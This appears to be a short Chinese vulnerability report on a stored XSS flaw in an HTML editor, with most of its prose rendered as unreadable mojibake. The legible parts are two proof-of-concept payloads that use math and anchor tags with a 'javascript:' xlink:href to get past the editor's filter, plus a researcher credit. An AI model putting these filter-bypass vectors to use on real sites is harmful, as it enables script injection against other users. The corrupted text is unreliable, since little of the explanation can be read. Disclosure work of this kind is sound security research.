Ѻ洢XSS©
ҪijǩijԹ˲ϵ¿ʼֲϸ˵ϰ֧ͨhtml༭Ŀ亣xss vectorsȻ©ʲô
Կҵsvgǰպˣrect width="1000" height="1000" fill="white"Ҳס㲻ڡһˡòƶxlink:hrefûйӲ˰ֻҪҲmathǩϾǽˡ
ʵϡȷʵɹ
Чpayload:
[*]<math><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)" target="_blank">abc q<rect></rect></a> </math>
ƴ
ȻҲһ,д
[*]<math><a xlink:href=javascript:alert(1)>I'mshort
ƴ
©֤
xlink:hrefvalueйˡ
Դ mramydnei@
ҳ:
[1]